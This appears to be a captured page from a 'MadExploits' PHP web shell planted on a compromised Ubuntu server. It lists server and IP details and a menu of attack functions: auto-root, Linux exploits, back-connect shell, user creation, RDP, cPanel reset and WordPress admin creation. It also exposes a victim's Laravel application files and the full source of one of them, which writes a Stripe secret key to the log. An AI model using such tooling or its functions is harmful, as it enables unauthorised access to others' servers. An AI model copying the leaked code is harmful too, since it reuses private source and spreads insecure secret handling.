Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
app /
Traits /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxrwxr-x
CommonTrait.php
9.7
KB
-rw-rw-r--
FileUploadTrait.php
28.11
KB
-rw-rw-r--
HelperTrait.php
953
B
-rw-rw-r--
ImageUploadTrait.php
23.37
KB
-rw-rw-r--
MailSettingTrait.php
3.24
KB
-rw-rw-r--
RepoTrait.php
692
B
-rw-rw-r--
SecurityTrait.php
827
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CommonTrait.php
<?php namespace App\Traits; use App\Modules\Trek\Entities\MasterRating; use App\Modules\Trek\Entities\TrekPricingRule; use Illuminate\Pagination\LengthAwarePaginator; use niklasravnsborg\LaravelPdf\Facades\Pdf; use Illuminate\Support\Carbon; use Webpatser\Uuid\Uuid; trait CommonTrait { /* error response for form requests*/ public function validation_response($errors) { $response = [ 'success' => false, 'message' => $errors, 'code' => 422 ]; return $response; } public function error_response($message) { $response = [ 'success' => false, 'message' => $message, 'code' => 500 ]; return $response; } public function success_response($data, $message = NULL) { $response = [ 'success' => true, 'message' => $message, 'data' => $data, 'code' => 200 ]; return $response; } public function set_stripe_key() { info('key:' . config('general.stripe_secret_key')); \Stripe\Stripe::setApiKey(config('general.stripe_secret_key')); \Stripe\Stripe::setApiVersion(config('general.stripe_api_version')); } public function get_uuid() { return Uuid::generate()->string; } public function get_role($user) { $roles = $user->getRoleNames(); return $roles; } public function now() { return Carbon::now()->toDateTimeString(); } public function pagination($data, $current_page, $path = NULL, $query_string = []) { $paginate = config('general.paginate'); $offSet = ($current_page * $paginate) - $paginate; $itemsForCurrentPage = array_slice($data, $offSet, $paginate); if ($path) { $response = new LengthAwarePaginator($itemsForCurrentPage, count($data), $paginate, NULL, ['path' => $path]); if (!empty($query_string)) { $response->appends($query_string); } } else { $response = new LengthAwarePaginator($itemsForCurrentPage, count($data), $paginate); } return $response; } public function getMonthsList($max) { $date = Carbon::now(); $dates = []; for ($i = 1; $i <= $max; $i++) { $dates[] = ['name' => $date->format('F Y'), 'value' => $date->format('Y-m-01')]; $date->addMonth(1); } return $dates; } public function getMinMaxQuota($trek_id, $id = NULL) { $quotas = []; $details = TrekPricingRule::where(['trek_id' => $trek_id])->get(); if (!empty($details)) { foreach ($details as $key => $det) { if (!empty($id)) { if ($det['id'] != $id) { $quotas[] = [ 'min_quota' => $det['min_quota'], 'max_quota' => $det['max_quota'], 'discount_percent' => $det['discount_percent'], ]; } } else { $quotas[] = [ 'min_quota' => $det['min_quota'], 'max_quota' => $det['max_quota'], 'discount_percent' => $det['discount_percent'], ]; } } } return $quotas; } public function getCountries() { $response = []; $countries = config('countries'); if (!empty($countries)) { foreach ($countries as $key => $country) { $response[$key]['name'] = ucwords(strtolower($country['name'])); $response[$key]['code'] = $country['code']; } } return $response; } public function getRatingType($avg_rating) { $ratings = MasterRating::all(); // Log::debug('$ratings :' . json_encode($ratings)); if (!empty($ratings)) { foreach ($ratings as $k => $r) { // Log::debug('$r :' . json_encode($r)); if ($avg_rating >= $r['min_value'] && $avg_rating <= $r['max_value']) { return $r['id']; } } } } public function formatAddress($account) { $address = ''; if ($account->company_address_line1) { $address .= $account->company_address_line1 . ' ,'; } if ($account->company_city) { $address .= $account->company_city . ' ,'; } if ($account->company_country) { $address .= $account->company_country; } return $address; } public function to2Decimals($value = '') { return number_format((float)$value, 2, '.', ''); } public function makeDirectory($foldername) { if (!file_exists(public_path($foldername)) && !is_dir(public_path($foldername))) { mkdir(public_path($foldername), 0777, true); } } public function unlinkFileIfExists($filename) { if (file_exists(public_path($filename))) { unlink(public_path($filename)); } } public function generatePdf($view, $data, $destination) { try { $foldername = $destination['foldername']; $filename = $destination['filename']; $this->makeDirectory($foldername); $this->unlinkFileIfExists($filename); PDF::loadView($view, $data)->save(public_path($filename)); // info('file:' . public_path($filename)); if (file_exists(public_path($filename))) { return $this->success_response(public_path($filename)); } else { return $this->error_response('Error in generating pdf.'); } } catch (\Throwable $t) { return $this->error_response($t->getMessage()); } } public function isValidHttpStatusCode($code) { /** * Content from http://en.wikipedia.org/wiki/List_of_HTTP_status_codes **/ $valid_codes = array( 100 => 'Continue', 101 => 'Switching Protocols', 102 => 'Processing', // WebDAV; RFC 2518 200 => 'OK', 201 => 'Created', 202 => 'Accepted', 203 => 'Non-Authoritative Information', // since HTTP/1.1 204 => 'No Content', 205 => 'Reset Content', 206 => 'Partial Content', 207 => 'Multi-Status', // WebDAV; RFC 4918 208 => 'Already Reported', // WebDAV; RFC 5842 226 => 'IM Used', // RFC 3229 300 => 'Multiple Choices', 301 => 'Moved Permanently', 302 => 'Found', 303 => 'See Other', // since HTTP/1.1 304 => 'Not Modified', 305 => 'Use Proxy', // since HTTP/1.1 306 => 'Switch Proxy', 307 => 'Temporary Redirect', // since HTTP/1.1 308 => 'Permanent Redirect', // approved as experimental RFC 400 => 'Bad Request', 401 => 'Unauthorized', 402 => 'Payment Required', 403 => 'Forbidden', 404 => 'Not Found', 405 => 'Method Not Allowed', 406 => 'Not Acceptable', 407 => 'Proxy Authentication Required', 408 => 'Request Timeout', 409 => 'Conflict', 410 => 'Gone', 411 => 'Length Required', 412 => 'Precondition Failed', 413 => 'Request Entity Too Large', 414 => 'Request-URI Too Long', 415 => 'Unsupported Media Type', 416 => 'Requested Range Not Satisfiable', 417 => 'Expectation Failed', 418 => 'I\'m a teapot', // RFC 2324 419 => 'Authentication Timeout', // not in RFC 2616 420 => 'Enhance Your Calm', // Twitter 420 => 'Method Failure', // Spring Framework 422 => 'Unprocessable Entity', // WebDAV; RFC 4918 423 => 'Locked', // WebDAV; RFC 4918 424 => 'Failed Dependency', // WebDAV; RFC 4918 424 => 'Method Failure', // WebDAV) 425 => 'Unordered Collection', // Internet draft 426 => 'Upgrade Required', // RFC 2817 428 => 'Precondition Required', // RFC 6585 429 => 'Too Many Requests', // RFC 6585 431 => 'Request Header Fields Too Large', // RFC 6585 444 => 'No Response', // Nginx 449 => 'Retry With', // Microsoft 450 => 'Blocked by Windows Parental Controls', // Microsoft 451 => 'Redirect', // Microsoft 451 => 'Unavailable For Legal Reasons', // Internet draft 494 => 'Request Header Too Large', // Nginx 495 => 'Cert Error', // Nginx 496 => 'No Cert', // Nginx 497 => 'HTTP to HTTPS', // Nginx 499 => 'Client Closed Request', // Nginx 500 => 'Internal Server Error', 501 => 'Not Implemented', 502 => 'Bad Gateway', 503 => 'Service Unavailable', 504 => 'Gateway Timeout', 505 => 'HTTP Version Not Supported', 506 => 'Variant Also Negotiates', // RFC 2295 507 => 'Insufficient Storage', // WebDAV; RFC 4918 508 => 'Loop Detected', // WebDAV; RFC 5842 509 => 'Bandwidth Limit Exceeded', // Apache bw/limited extension 510 => 'Not Extended', // RFC 2774 511 => 'Network Authentication Required', // RFC 6585 598 => 'Network read timeout error', // Unknown 599 => 'Network connect timeout error', // Unknown ); return array_key_exists($code, $valid_codes); } }
Close